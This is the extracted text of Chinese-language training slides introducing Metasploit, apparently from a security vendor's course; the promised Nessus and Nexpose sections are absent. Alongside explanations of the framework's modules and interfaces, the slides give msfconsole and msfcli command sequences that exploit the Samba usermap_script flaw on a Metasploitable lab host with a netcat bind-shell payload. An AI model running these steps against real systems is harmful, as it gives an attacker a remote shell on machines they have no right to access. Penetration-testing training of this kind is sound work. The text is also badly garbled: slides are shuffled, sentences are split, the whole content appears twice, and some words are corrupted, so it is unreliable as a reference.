04NessusNexponseMetasploit使用介绍
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
功能程序 用户除了使用接口访问Metasploit框架主体功能之外,MetaSploit还提 供了一系列可直接运行的功能程序,支持渗透测试者与安全研究人员快 速地利用Metasploit框架内部能力完成一些特定任务。比如msfpayload
、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的dir_scanner为例探测:
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的udp_sweep发送UDP数据包探查指定主机是否活跃
,并发现主机上的UDP服务。
Metasploit使用介绍
Metasploit使用介绍
MSF渗透攻击模块
渗透攻击exploits模块简单的讲就是针对不同的已知漏洞的利用程序。
当我们执行show exploits命令后,显示4列,分别为exploit名称、等 级(rank)、时间、描述。 exploit的命名规则:
- 操作系统/服务/模块名称,例如windows/vnc/realvnc_client
Metasploit使用介绍
MSF用户接口之msfconsole Linux Metasploitable靶机环境samba网络服务的usermap_script安全 漏洞利用示例: - msf> search samba
- msf> use multi/samba/usermap_script
件,为Metasploit开发者进行框架和模块开发提供了一些基础功能的支
持,如包装的网络套接字、网络应用协议客户端和服务端实现、日志子 系统、渗透攻击支持例程、PostgreSQL及MySQL数据库支持。
framework-core库负责实现所有与各种类型的上层模块及插件的交互接
口。 framework-base库扩展了framework-core,提供更加简单的包装例程,
Metasploit使用介绍
MSF辅助模块
Metasploit为渗透测试的信息收集环节提供了大量的辅助模块支持,包
括针对各种网络服务的扫描与查点、构建虚拟服务收集登录密码、口令 猜测破解、敏感信息嗅探、探查敏感信息泄漏、Fuzz测试发掘漏洞、实 施网络协议欺骗等模块,辅助模块能够帮助渗透测试者在进行渗透测试 攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。
MSF渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标系统进行攻
击,以植入和运行载荷,从而获得对目标系统访问权的代码组件。渗透 攻击模块是Metasploit框架中最核心的功能组件,可以在 modules/exploits子目录中找到所有的渗透攻击模块源代码。 渗透攻击模块按照操作系统平台分类,有Windows、Linux、Apple iOS 、Mac OS X、UNIX(包括AIX、BSDi、FreeBSD、HPUX、IRIX、Solaris 等分支系统)、NetWared等不同操作系统平台。
在著名的安全站点的最受欢迎100大最佳安全工具的调查
中,排名第五。之前没有任何一款新工具能够一发布就挤进此列表的15 强,何况此工具更在5强之列,超过了很多广为流传的诞生了几十年的
老牌工具。
Metasploit使用介绍
什么是Metasploit? Metasploit是一个强大的开源平台,供开发、测试和使用恶意代码。这 种可扩展的模型将负载控制、编码器、shellcode生成器和漏洞整合在 一起,使Metasploit Framework成为一种研究高危漏洞的绝佳路径。它
并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与
功能程序调用框架本身功能及框架集成模块。
Metasploit使用介绍
模块 模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测 试功能实现代码。按照在渗透测试过程中各个环节中所具有的不同用途 ,分为:
- 辅助模块(Aux) - 渗透攻击模块(Exploits) - 后渗透攻击模块(Post)
- 攻击载荷模块(Payloads)
- 空指令模块(Nops) - 编码器模块(Encoders)
Metasploit使用介绍
插件 Metasploit框架的插件是一类定义比较松散,能够扩充框架的功能,或 者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安 全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的
Metasploit使用介绍
MSF用户接口之msfconsole load loadpath resource route save search set setg show sleep unload unset unsetg use 加载一个插件 在一个路径搜索并加载一个插件 运行存储在一个文件中的命令 查看一个会话的路由信息 保存动作 搜索模块名和描述 给一个变量赋值 把一个值赋给全局变量 显示所给类型模块或所有模块 在限定的秒数内什么也不做 卸载一个模块 解出一个或多个变量 解出一个或多个全局变量 通过名称选择一个模块
功能命令、记录所有的网络记录或提供创新的渗透测试功能。
Metasploit使用介绍
接口 Metasploit框架提供了多种用户使用接口,包括msfconsole控制台终端 、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi 远程调用接口等。
Metasploቤተ መጻሕፍቲ ባይዱt使用介绍
能与特性,而且可以直接执行外部的shell命令和第三方工具(如Nmap等
),这使得你可以在MSF终端中完成绝大部分的渗透测试工作。 - 提供非常便利且符合Linux操作习惯的交互,支持tab补全,用户配
置的保存与装载等功能,在用户熟悉该交互环境时可以提供非常高效的操
作接口。 - MSF终端也是目前更新最及时,并且最稳定的Metasploit用户接口。
们通过Linux管道机制将结果输出重定向给其他程序进行处理。
Metasploit使用介绍
MSF用户接口之msfcli msfcli -h
Metasploit使用介绍
MSF用户接口之msfcli
使用msfcli命令行实施一次渗透攻击的过程通常会采用如下流程:
- msfcli multi/samba/usermap_script S:对选定的渗透攻击模块显示详细 信息 - msfcli multi/samba/usermap_script P: 查看可用的攻击载荷 - msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat O: 选择一个攻击载荷,并查看需要设置的参数 - msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat T: 查看渗透攻击模块的目标类型列表
设置攻击目标:set target 编号
Metasploit使用介绍
MSF攻击载荷模块
攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码,通常
作用是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透 代码开发中,攻击载荷只是一段功能简单的shellcode代码,以汇编语 言编制并转换为目标系统CPU体系结构支持的机器代码,在渗透攻击触 发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执行,从而完 成shellcode中实现的单一功能,比如在远程系统中添加新用户、启动 一个命令行shell并绑定到网络端口上等。MSF攻击载荷模块分为独立( Singles)、传输器(Stager)、传输体(Stage)三种类型。
NessusNexposeMetasploit使用介绍
王朋涛 深信服北京安全团队
培训提纲
1.Metasploit使用介绍
2.Nessus使用介绍
3.Nexponse使用介绍
4.总结
Metasploit使用介绍
Metasploit使用介绍
什么是Metasploit? Metasploit Framework是在2004年美国拉斯维加斯Blackhack黑客大会 上发布的,它的发布在安全界引发了强烈的地震,甚至有人把他形容成 “可以黑掉整个星球”。
以option=value方式设置所需要的配置参数,并以E模式来执行这次渗 透攻击,如:root@bt:~# msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=[IP] E
Metasploit使用介绍
MSF用户接口之webui
自带大量的漏洞利用代码和shellcode,到目前为止它已经有1396多个
漏洞利用代码(exploits)以及近356个有效载荷(payloads),另外 ,还有872多个辅助工具,其中包括信息收集、枚举、暴力破解、Web漏
洞扫描、SQL注入、DoS、欺骗、嗅探以及漏洞挖掘等等方面的辅助工具
,并且每天都在更新。
- msf> set RHOST [IP] - msf> set payload cmd/unix/bind_netcat - msf> exploits
Metasploit使用介绍
MSF用户接口之msfcli msfcli命令行程序是Metasploit框架为脚本自动化处理及与其他命令行 工具互操作而设计的一种用户接口,这个接口能够让我们在shell命令 行里完成一次完整的渗透攻击过程。它可以直接从命令行执行并允许我
Metasploit使用介绍
MSF渗透攻击模块
选择一个exploit
- use exploits/windows/vnc/realvnc_client
列出exploit设置选项:show options 列出exploit的可攻击目标类型:show targets 设置选项:set option 值
Metasploit使用介绍
MSF渗透攻击模块
最受关注的还是目前最流行的Windows操作系统平台,其针对48个网络
服务和应用分类拥有800多个渗透攻击插件,其他拥有较多插件的有 UNIX、Linux和Mac OS X,而multi平台类中包含一些跨平台的网络服务 或应用程序中存在的安全漏洞,如samba、firefox、tomcat等,数量也 不少。 MetaSploit框架中渗透攻击模块可以按照所利用的安全漏洞所在位置分 为主动渗透攻击和被动渗透攻击两类。主动渗透攻击所利用的安全漏洞 位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通 常在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透 攻击可以主动发起。被动渗透攻击利用的安全漏洞位于客户端软件中, 如浏览器等,对于这类漏洞,只能构造出恶意的网页、电子邮件等。
Metasploit使用介绍
MSF用户接口之msfconsole ? back banner cd color connect exit help info irb jobs kill 帮助菜单 从当前环境返回 显示一个MSF banner 切换目录 颜色切换 连接一个主机 退出 帮助菜单 显示一个或多个模块的信息 进入irb脚本模式 显示和管理作业 杀死一个作业
Metasploit使用介绍
MSF的体系结构 基础库文件 模块 插件
接口
功能程序
Metasploit使用介绍
Metasploit体系结构
Metasploit使用介绍
基础库文件 Metasploit的基础库文件位于源码根目录路径下的libraries目录中, 包括Rex、framework-core和framework-base三部分。 Rex(Ruby Extension)是整个Metasploit框架所依赖的最基础的一些组
Javascript语句等多种形式,并可以进行各种类型的编码。msf*scan系 列功能程序提供了PE、ELF等各种类型文件中搜索特定指令的功能,可
以帮助渗透测试代码开发人员定位指令地址。
Metasploit使用介绍
MSF用户接口之msfconsole msfconsole终端是Metasploit框架中功能最强大、最丰富且支持最好的 用户接口: - 提供一站式的交互接口,能够访问Metasploit框架中几乎每一项功
、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的dir_scanner为例探测:
Metasploit使用介绍
MSF辅助模块
以辅助模块扫描插件的udp_sweep发送UDP数据包探查指定主机是否活跃
,并发现主机上的UDP服务。
Metasploit使用介绍
Metasploit使用介绍
MSF渗透攻击模块
渗透攻击exploits模块简单的讲就是针对不同的已知漏洞的利用程序。
当我们执行show exploits命令后,显示4列,分别为exploit名称、等 级(rank)、时间、描述。 exploit的命名规则:
- 操作系统/服务/模块名称,例如windows/vnc/realvnc_client
Metasploit使用介绍
MSF用户接口之msfconsole Linux Metasploitable靶机环境samba网络服务的usermap_script安全 漏洞利用示例: - msf> search samba
- msf> use multi/samba/usermap_script
件,为Metasploit开发者进行框架和模块开发提供了一些基础功能的支
持,如包装的网络套接字、网络应用协议客户端和服务端实现、日志子 系统、渗透攻击支持例程、PostgreSQL及MySQL数据库支持。
framework-core库负责实现所有与各种类型的上层模块及插件的交互接
口。 framework-base库扩展了framework-core,提供更加简单的包装例程,
Metasploit使用介绍
MSF辅助模块
Metasploit为渗透测试的信息收集环节提供了大量的辅助模块支持,包
括针对各种网络服务的扫描与查点、构建虚拟服务收集登录密码、口令 猜测破解、敏感信息嗅探、探查敏感信息泄漏、Fuzz测试发掘漏洞、实 施网络协议欺骗等模块,辅助模块能够帮助渗透测试者在进行渗透测试 攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻 击。
MSF渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标系统进行攻
击,以植入和运行载荷,从而获得对目标系统访问权的代码组件。渗透 攻击模块是Metasploit框架中最核心的功能组件,可以在 modules/exploits子目录中找到所有的渗透攻击模块源代码。 渗透攻击模块按照操作系统平台分类,有Windows、Linux、Apple iOS 、Mac OS X、UNIX(包括AIX、BSDi、FreeBSD、HPUX、IRIX、Solaris 等分支系统)、NetWared等不同操作系统平台。
在著名的安全站点的最受欢迎100大最佳安全工具的调查
中,排名第五。之前没有任何一款新工具能够一发布就挤进此列表的15 强,何况此工具更在5强之列,超过了很多广为流传的诞生了几十年的
老牌工具。
Metasploit使用介绍
什么是Metasploit? Metasploit是一个强大的开源平台,供开发、测试和使用恶意代码。这 种可扩展的模型将负载控制、编码器、shellcode生成器和漏洞整合在 一起,使Metasploit Framework成为一种研究高危漏洞的绝佳路径。它
并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与
功能程序调用框架本身功能及框架集成模块。
Metasploit使用介绍
模块 模块是通过Metasploit框架所装载、集成并对外提供的最核心的渗透测 试功能实现代码。按照在渗透测试过程中各个环节中所具有的不同用途 ,分为:
- 辅助模块(Aux) - 渗透攻击模块(Exploits) - 后渗透攻击模块(Post)
- 攻击载荷模块(Payloads)
- 空指令模块(Nops) - 编码器模块(Encoders)
Metasploit使用介绍
插件 Metasploit框架的插件是一类定义比较松散,能够扩充框架的功能,或 者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安 全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的
Metasploit使用介绍
MSF用户接口之msfconsole load loadpath resource route save search set setg show sleep unload unset unsetg use 加载一个插件 在一个路径搜索并加载一个插件 运行存储在一个文件中的命令 查看一个会话的路由信息 保存动作 搜索模块名和描述 给一个变量赋值 把一个值赋给全局变量 显示所给类型模块或所有模块 在限定的秒数内什么也不做 卸载一个模块 解出一个或多个变量 解出一个或多个全局变量 通过名称选择一个模块
功能命令、记录所有的网络记录或提供创新的渗透测试功能。
Metasploit使用介绍
接口 Metasploit框架提供了多种用户使用接口,包括msfconsole控制台终端 、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi 远程调用接口等。
Metasploቤተ መጻሕፍቲ ባይዱt使用介绍
能与特性,而且可以直接执行外部的shell命令和第三方工具(如Nmap等
),这使得你可以在MSF终端中完成绝大部分的渗透测试工作。 - 提供非常便利且符合Linux操作习惯的交互,支持tab补全,用户配
置的保存与装载等功能,在用户熟悉该交互环境时可以提供非常高效的操
作接口。 - MSF终端也是目前更新最及时,并且最稳定的Metasploit用户接口。
们通过Linux管道机制将结果输出重定向给其他程序进行处理。
Metasploit使用介绍
MSF用户接口之msfcli msfcli -h
Metasploit使用介绍
MSF用户接口之msfcli
使用msfcli命令行实施一次渗透攻击的过程通常会采用如下流程:
- msfcli multi/samba/usermap_script S:对选定的渗透攻击模块显示详细 信息 - msfcli multi/samba/usermap_script P: 查看可用的攻击载荷 - msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat O: 选择一个攻击载荷,并查看需要设置的参数 - msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat T: 查看渗透攻击模块的目标类型列表
设置攻击目标:set target 编号
Metasploit使用介绍
MSF攻击载荷模块
攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码,通常
作用是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透 代码开发中,攻击载荷只是一段功能简单的shellcode代码,以汇编语 言编制并转换为目标系统CPU体系结构支持的机器代码,在渗透攻击触 发漏洞后,将程序执行流程劫持并跳转入这段机器代码中执行,从而完 成shellcode中实现的单一功能,比如在远程系统中添加新用户、启动 一个命令行shell并绑定到网络端口上等。MSF攻击载荷模块分为独立( Singles)、传输器(Stager)、传输体(Stage)三种类型。
NessusNexposeMetasploit使用介绍
王朋涛 深信服北京安全团队
培训提纲
1.Metasploit使用介绍
2.Nessus使用介绍
3.Nexponse使用介绍
4.总结
Metasploit使用介绍
Metasploit使用介绍
什么是Metasploit? Metasploit Framework是在2004年美国拉斯维加斯Blackhack黑客大会 上发布的,它的发布在安全界引发了强烈的地震,甚至有人把他形容成 “可以黑掉整个星球”。
以option=value方式设置所需要的配置参数,并以E模式来执行这次渗 透攻击,如:root@bt:~# msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=[IP] E
Metasploit使用介绍
MSF用户接口之webui
自带大量的漏洞利用代码和shellcode,到目前为止它已经有1396多个
漏洞利用代码(exploits)以及近356个有效载荷(payloads),另外 ,还有872多个辅助工具,其中包括信息收集、枚举、暴力破解、Web漏
洞扫描、SQL注入、DoS、欺骗、嗅探以及漏洞挖掘等等方面的辅助工具
,并且每天都在更新。
- msf> set RHOST [IP] - msf> set payload cmd/unix/bind_netcat - msf> exploits
Metasploit使用介绍
MSF用户接口之msfcli msfcli命令行程序是Metasploit框架为脚本自动化处理及与其他命令行 工具互操作而设计的一种用户接口,这个接口能够让我们在shell命令 行里完成一次完整的渗透攻击过程。它可以直接从命令行执行并允许我
Metasploit使用介绍
MSF渗透攻击模块
选择一个exploit
- use exploits/windows/vnc/realvnc_client
列出exploit设置选项:show options 列出exploit的可攻击目标类型:show targets 设置选项:set option 值
Metasploit使用介绍
MSF渗透攻击模块
最受关注的还是目前最流行的Windows操作系统平台,其针对48个网络
服务和应用分类拥有800多个渗透攻击插件,其他拥有较多插件的有 UNIX、Linux和Mac OS X,而multi平台类中包含一些跨平台的网络服务 或应用程序中存在的安全漏洞,如samba、firefox、tomcat等,数量也 不少。 MetaSploit框架中渗透攻击模块可以按照所利用的安全漏洞所在位置分 为主动渗透攻击和被动渗透攻击两类。主动渗透攻击所利用的安全漏洞 位于网络服务端软件与服务承载的上层应用程序之中,由于这些服务通 常在主机上开启一些监听端口并等待客户端连接,因此针对它们的渗透 攻击可以主动发起。被动渗透攻击利用的安全漏洞位于客户端软件中, 如浏览器等,对于这类漏洞,只能构造出恶意的网页、电子邮件等。
Metasploit使用介绍
MSF用户接口之msfconsole ? back banner cd color connect exit help info irb jobs kill 帮助菜单 从当前环境返回 显示一个MSF banner 切换目录 颜色切换 连接一个主机 退出 帮助菜单 显示一个或多个模块的信息 进入irb脚本模式 显示和管理作业 杀死一个作业
Metasploit使用介绍
MSF的体系结构 基础库文件 模块 插件
接口
功能程序
Metasploit使用介绍
Metasploit体系结构
Metasploit使用介绍
基础库文件 Metasploit的基础库文件位于源码根目录路径下的libraries目录中, 包括Rex、framework-core和framework-base三部分。 Rex(Ruby Extension)是整个Metasploit框架所依赖的最基础的一些组
Javascript语句等多种形式,并可以进行各种类型的编码。msf*scan系 列功能程序提供了PE、ELF等各种类型文件中搜索特定指令的功能,可
以帮助渗透测试代码开发人员定位指令地址。
Metasploit使用介绍
MSF用户接口之msfconsole msfconsole终端是Metasploit框架中功能最强大、最丰富且支持最好的 用户接口: - 提供一站式的交互接口,能够访问Metasploit框架中几乎每一项功